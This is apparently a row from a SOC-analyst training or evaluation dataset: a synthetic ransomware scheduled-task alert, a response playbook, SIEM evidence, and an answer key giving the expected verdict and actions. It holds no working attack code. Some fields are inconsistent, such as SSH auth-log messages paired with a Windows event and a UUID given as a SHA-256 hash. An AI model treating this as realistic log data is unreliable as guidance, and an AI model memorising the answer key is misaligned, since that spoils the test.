'{\"timestamp\":\"2023-10-12T14:22:35Z\",\"event_id\":\"4698\",\"event_source\":\"Microsoft-Windows-TaskScheduler\",\"task_name\":\"\\\\Windows\\\\System32\\\\Tasks\\\\RansomwareTask\",\"task_action\":\"Create\",\"task_user\":\"SYSTEM\",\"trigger_type\":\"AtStartup\",\"action_type\":\"Execute\",\"action_command\":\"C:\\\\Windows\\\\System32\\\\ransomware.exe\",\"action_arguments\":\"/silent\",\"launcher_ip\":\"192.168.1.55\",\"attacker_ip\":\"203.0.113.45\",\"binary_sha256\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"username\":\"compromised_user\"}', '2026-01-17 03:39:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal host likely compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity_logs\",\"verdict\":\"suspicious\",\"details\":\"User account used to create unauthorized task.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.660Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\RansomwareTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"trigger_type\\\":\\\"AtStartup\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ransomware.exe\\\",\\\"action_arguments\\\":\\\"/silent\\\",\\\"launcher_ip\\\":\\\"192.168.1.55\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"binary_sha256\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.660Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\RansomwareTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"trigger_type\\\":\\\"AtStartup\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ransomware.exe\\\",\\\"action_arguments\\\":\\\"/silent\\\",\\\"launcher_ip\\\":\\\"192.168.1.55\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"binary_sha256\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.660Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\RansomwareTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"trigger_type\\\":\\\"AtStartup\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ransomware.exe\\\",\\\"action_arguments\\\":\\\"/silent\\\",\\\"launcher_ip\\\":\\\"192.168.1.55\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"binary_sha256\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.660Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\RansomwareTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"trigger_type\\\":\\\"AtStartup\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ransomware.exe\\\",\\\"action_arguments\\\":\\\"/silent\\\",\\\"launcher_ip\\\":\\\"192.168.1.55\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"binary_sha256\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.660Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:35Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"event_source\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\RansomwareTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_user\\\":\\\"SYSTEM\\\",\\\"trigger_type\\\":\\\"AtStartup\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ransomware.exe\\\",\\\"action_arguments\\\":\\\"/silent\\\",\\\"launcher_ip\\\":\\\"192.168.1.55\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"binary_sha256\\\":\\\"3fa85f64-5717-4562-b3fc-2c963f66afa6\\\",\\\"username\\\":\\\"compromised_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
